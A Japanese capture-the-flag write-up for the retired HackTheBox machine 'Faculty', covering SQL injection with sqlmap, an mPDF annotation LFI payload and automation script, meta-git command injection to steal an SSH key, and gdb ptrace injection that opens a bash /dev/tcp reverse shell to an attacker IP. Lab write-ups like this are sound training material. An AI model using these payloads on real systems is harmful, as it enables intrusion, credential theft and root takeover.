🥕

【HackTheBox】Faculty Writeup

2023/08/06に公開


久しぶりにretired medium machineやってみました。

Recon

nmap

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

ではport 80を見ていきます。

website

http://faculty.htb/login.phpにリダイレクトされました。適当に値入れてみましたが、ログインできませんでした。

これ以外の情報がなさそうだったので、fuzzingをします。

fuzzing

ffuf実行結果(一部)
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://faculty.htb/FUZZ.php 
________________________________________________
index                   [Status: 302, Size: 12193, Words: 1896, Lines: 359, Duration: 174ms]
login                   [Status: 200, Size: 4860, Words: 270, Lines: 132, Duration: 165ms]
header                  [Status: 200, Size: 2871, Words: 155, Lines: 48, Duration: 162ms]
test                    [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 165ms]
topbar                  [Status: 200, Size: 1206, Words: 199, Lines: 37, Duration: 166ms]
gobuster実行結果
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://faculty.htb        
===============================================================
/admin                (Status: 301) [Size: 178] [--> http://faculty.htb/admin/]
/index.php            (Status: 302) [Size: 12193] [--> login.php]
Progress: 4614 / 4615 (99.98%)
===============================================================

いくつかのページと/adminのディレクトリが発見できました。topbar.phpheader.phpはほぼ空白ページでした。
/adminをアクセスしてみるとhttp://faculty.htb/admin/login.phpにリダイレクトされました。さっきと違うログインフォームがありました。

login Form SQLi

ログインを突破しないといけないのでSQLiやってみます。

sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3
---
Parameter: id_no (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: id_no=123' OR NOT 3600=3600-- GpPq

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id_no=123' AND (SELECT 3703 FROM (SELECT(SLEEP(5)))rUdf)-- zpYL
---

2種類のSQLiが検出されました(--level 5 --risk 3を入れないと遅いtime-based blindしか検出できない)。dbとテーブルを確認します。

sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --dbs
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --batch -D scheduling_db -tables

scheduling_dbの中のusersとfacultyテーブルに使える情報がありそうなので、dumpします。

sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --batch -D scheduling_db -T users --dump
+----+---------------+------+----------------------------------+----------+
| id | name          | type | password                         | username |
+----+---------------+------+----------------------------------+----------+
| 1  | Administrator | 1    | 1fecbe762af147c1176a0fc2c722a345 | admin    |
+----+---------------+------+----------------------------------+----------+
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --batch -D scheduling_db -T faculty --dump
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| id | id_no    | email              | gender | address             | contact        | lastname | firstname | middlename |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| 1  | 63033226 | jsmith@faculty.htb | Male   | 151 Blue Lakes Blvd | (646) 559-9192 | Smith    | John      | C          |
| 2  | 85662050 | cblake@faculty.htb | Female | 225 Main St         | (763) 450-0121 | Blake    | Claire    | G          |
| 3  | 30903070 | ejames@faculty.htb | Male   | 142 W Houston St    | (702) 368-3689 | James    | Eric      | P          |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+

adminのcredentialsと3人のuser情報がありました。adminのパスワードはhashcatで解いてみましたが、ダメでした。userのところに有効なfaculty idがあったので、これでhttp://faculty.htb/login.phpにログインしてみます。

63033226でログインするとこんな感じです。カレンダーが見れます。

ログインした状態で/adminにアクセスしてみたらこんなページが出てきました。

course、subject、facultyの表示、追加、削除ができます。一覧のPDFダウンロードもできます。

PDFをダウンロードしてみます。生成されたPDFが新しいタブで表示されました。

PDFをexiftoolで見てみます。mPDF 6.0で作られたことがわかりました。mPDF6.0のexploitをググってみます。

┌──(kali㉿kali)-[~/faculty]
└─$ exiftool OK4K1QPLbUrO2s76wXhVDYdEav.pdf                    
File Name                       : OK4K1QPLbUrO2s76wXhVDYdEav.pdf
[** SNIP **]
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Page Layout                     : OneColumn
Producer                        : mPDF 6.0

最初見ていたのはこのissue(https://github.com/mpdf/mpdf/issues/949) でしたが、今回のpdfは画像が入っていないので使えなさそうでした。また、exploit dbにmPDF 7.0を対象としたLFIのスクリプトがありましたが(https://www.exploit-db.com/exploits/50995) 、今回のバージョンと違います。
githubでv6.0関連のissueを漁ってみたら使えそうな情報はこれだけでした。
https://github.com/mpdf/mpdf/issues/356
よく見ると、これはexploit dbのmPDF 7.0 LFI exploitと同じこと書いていることがわかりました。6.0も7.0もこの脆弱性があるってことかな。

LFIのpayload
<annotation file="/etc/passwd" content="/etc/passwd"  icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

こういうhtmlでPDFを作成すると、/etc/passwdの中身が添付ファイルから見れるみたいです。

mpdf LFI Exploit

burpでPDFを作成する時のリクエストを見てみます。payloadはurl encode2回した後にbase64 encodeしています。

この中にannotation tag入れてLFIを試します。

生成されたPDFをダウンロードして開くと、右上に添付ファイルのボタンがありました。クリックすると/etc/passwdの中身が入っているファイルが開かれました。これでLFIが確認できました。

payload変える→pdfダウンロード→pdf開く→attachmentを確認するプロセスがめんどくさいので、このスクリプトで自動化しました。

lfi.py
import PyPDF2
from urllib.parse import quote
from base64 import b64encode
import requests
import argparse

def post_pdf(target_file):
	payload = f'<annotation file="{target_file}" content="{target_file}" icon="Graph" title="Attached File: {target_file}" pos-x="195" />'
	# safe=''を入れないと/がエンコードされない
	encoded_payload = b64encode(quote(quote(payload, safe='')).encode()) 
	res = requests.post("http://faculty.htb/admin/download.php", data = {"pdf": encoded_payload})
	if res.status_code != 200:
		print("post request failed!!!")
	pdf_filename = res.text
	# res.textの最後に\nがあるのでstripする
	return pdf_filename.strip()

def download_pdf(pdf_filename):
	res = requests.get(f"http://faculty.htb/mpdf/tmp/{pdf_filename}")
	if res.status_code != 200:
		print(f"pdf download failed, status code {res.status_code}")
	with open(f"/home/kali/faculty/{pdf_filename}","wb") as f:
		f.write(res.content)
	print("pdf file downloaded")

def get_attachment_content(filename):
	reader = PyPDF2.PdfFileReader(open(filename, 'rb'))
	page = reader.getPage(0)
	for annot in page["/Annots"]:
		annot_obj = annot.getObject()
		file_data = annot_obj["/FS"]["/EF"]["/F"].getData()
		print(file_data.decode("utf-8"))

def main(target):
	pdf_filename = post_pdf(target)
	download_pdf(pdf_filename)
	get_attachment_content(f"/home/kali/faculty/{pdf_filename}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-target", required=True)
    args = parser.parse_args()

    main(args.target)

これでだいぶ使いやすくなりました。ユーザーはgbyoloとdeveloperがいました。

┌──(kali㉿kali)-[~/faculty]
└─$ python3 test.py -target  /etc/passwd
pdf file downloaded
root:x:0:0:root:/root:/bin/bash
[** snip **]
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash

ではこのスクリプトでサイトのソースコードを見ていきます。

source code analysis

web fuzzingの時に出てきたphpファイルを見ていきたいと思います。login.phpから、db_connect.phpがあることがわかりました。

login.phpの中身
┌──(kali㉿kali)-[~/faculty]
└─$ python3 lfi.py -target login.php                      
pdf file downloaded
<!DOCTYPE html>
<html lang="en">
<?php 
session_start();
include('./db_connect.php');
ob_start();
ob_end_flush();
?>

db_connectをみてみたらcredentialsがありました。Co.met06aci.dly53ro.perは何かのパスワードでしょう。

db_connect.phpの中身
┌──(kali㉿kali)-[~/faculty]
└─$ python3 lfi.py -target db_connect.php
pdf file downloaded
<?php 

$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));

shell as gbyolo

Co.met06aci.dly53ro.perを使ってgbyoloでsshログインできました。user.txtがなかったので、developerに切り替える方法を探さないといけないです。

┌──(kali㉿kali)-[~/faculty]
└─$ ssh gbyolo@10.10.11.169
gbyolo@10.10.11.169's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

[** snip **]

You have mail.
gbyolo@faculty:~$ ls /home/gbyolo

you have mailと書いてあったのでメールを確認してみます。また、gbyoloのパスワードを持っているので、sudo -lもみてみます。

sudo -l
gbyolo@faculty:~$ sudo -l 
[sudo] password for gbyolo: 
Matching Defaults entries for gbyolo on faculty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gbyolo may run the following commands on faculty:
    (developer) /usr/local/bin/meta-git

developerとしてmeta-gitを実行できます。

メールの確認
gbyolo@faculty:/var/mail$ cat gbyolo 
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1

Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb

たぶんmeta-gitを使ってdeveloperに切り替えるんでしょうね。exploitを調べたら使えそうなものが出てきました。
https://hackerone.com/reports/728040

meta-git RCE

実行してみると、HACKEDがdeveloperに作られました。エラーも出力されていましたが、RCEはできています。

gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||touch HACKED'
meta git cloning into 'sss||touch HACKED' at sss||touch HACKED

sss||touch HACKED:
fatal: repository 'sss' does not exist
sss||touch HACKED ✓
[** snip **]

gbyolo@faculty:/tmp$ ls -la
-rw-rw-r--  1 developer developer    0 Aug  5 14:38 HACKED

このままuserフラグを取りたいと思います。

gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||cat /home/developer/user.txt'
meta git cloning into 'sss||cat /home/developer/user.txt' at user.txt

user.txt:
fatal: destination path 'sss' already exists and is not an empty directory.
efxxxxxxxxxxxxxxxxxxxxxxx45bbe1

userフラグ取れました!

developerのhome directoryをlsしてみたらsshキーがあったので、これでdeveloperのシェルを取りたいと思います。キーをコピーして保存します。

gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||cat /home/developer/.ssh/id_rsa'

shell as developer

sshログインします。

┌──(kali㉿kali)-[~/faculty]
└─$ chmod 600 key

┌──(kali㉿kali)-[~/faculty]
└─$ ssh -i key developer@10.10.11.169

developer@faculty:~$ id
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)

idの結果からdeveloperはdebugとfacultyの2つのグループに所属していることがわかりました。各グループはどういう権限を持っているかを確認したいです。linpeasで多分わかるので実行してみます。

linpeas実行結果(一部)
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--- 1 root debug 8440200 Dec  8  2021 /usr/bin/gdb
-rw-r----- 1 root developer 33 Aug  2 14:47 /home/developer/user.txt

Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

debugグループは/usr/bin/gdbを実行できます。また、/usr/bin/gdbはcap_sys_ptraceのケイパビリティが付いているので、実行中のプロセスを制御できます。

hacktricksにCAP_SYS_TRACE付きのgdbを使ったpriv escのチュートリアルがありました。
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace
一番上のshellcode injectionではなく、
プロセスにattachしてsystem functionを実行してreverse shellを取りたいと思います。

gdb code injection

まずはrootのプロセスをみてみます。

developer@faculty:~$ ps aux | grep root
[** snip **]
root         686  0.0  0.4 238080  9156 ?        Ssl  12:08   0:00 /usr/lib/accountsservice/accounts-daemon
root         693  0.0  0.1  81956  3672 ?        Ssl  12:08   0:00 /usr/sbin/irqbalance --foreground
root         695  0.1  0.9  26896 18148 ?        Ss   12:08   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         697  0.0  0.4 236436  9244 ?        Ssl  12:08   0:00 /usr/lib/policykit-1/polkitd --no-debug
root         712  0.0  0.3  17336  7804 ?        Ss   12:08   0:00 /lib/systemd/systemd-logind
root         927  0.0  0.1   5568  2940 ?        Ss   12:08   0:00 /usr/sbin/cron -f

695番のpythonのプロセスにattachします。

developer@faculty:~$ gdb -p 695

Attaching to process 695
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
[** snip **]

(gdb) p system
$1 = {int (const char *)} 0x7fbcf9390290 <__libc_system>
(gdb) call (void)system("nc 10.10.14.8 9001")
[Detaching after vfork from child process 2185]

p systemを実行したらsystem()のアドレスが返ってきたので、system()が存在していて実行できるはずです。ncのコマンドもやってみます。

┌──(kali㉿kali)-[~/faculty]
└─$ nc -lvnp 9001                           
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.169] 51954

問題なさそうですね。

別プロセスで失敗したケース

どのプロセスでもsystem関数を実行できるわけではないです。前提条件を満たしてないとこのexploitはうまく行かないみたいです。ここでいくつかの失敗例をシェアします。

developer@faculty:~$ gdb -p 927

[** snip **]
Attaching to process 927
Reading symbols from /usr/sbin/cron...
(No debugging symbols found in /usr/sbin/cron)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/87364908de169dec62ffa538170118c1c3a078.debug...
0x00007f80ce3891b4 in _start () from /lib64/ld-linux-x86-64.so.2
(gdb) call (void)system("nc 10.10.14.8 9001")
No symbol "system" in current context.

system()がこのプロセスに存在してないので失敗しました。

developer@faculty:~$ gdb -p 712

[** snip **]
Attaching to process 712
warning: "target:/usr/lib/systemd/systemd-logind": could not open as an executable file: Operation not permitted.
warning: `target:/usr/lib/systemd/systemd-logind': can't open to read symbols: Operation not permitted.
0x00007f570c46542a in ?? ()
(gdb) call (void)system("nc 10.10.14.8 9001")
No symbol table is loaded.  Use the "file" command.

symbolテーブルがないと関数がresolveされないみたいです。このプロセスも使えませんでした。

おまけにpythonのプロセスならうまくいく理由のchatGPTの回答を添付します、、

Shell as root

reverse shellを取ります。

(gdb) call (void)system("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1'")

rootフラグが取れました!

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.169] 53138
bash: cannot set terminal process group (695): Inappropriate ioctl for device
bash: no job control in this shell
root@faculty:/# cat /root/root.txt

memo

mediumマシーンの中ではstraightforwardの方だと思います。
reconは変なrabbit holeがあまりなくてシンプルでしたが、gdbを使ったことがなかったのでpriv escの試行錯誤にかなり時間かかりました。面白いマシーンでした。

Discussion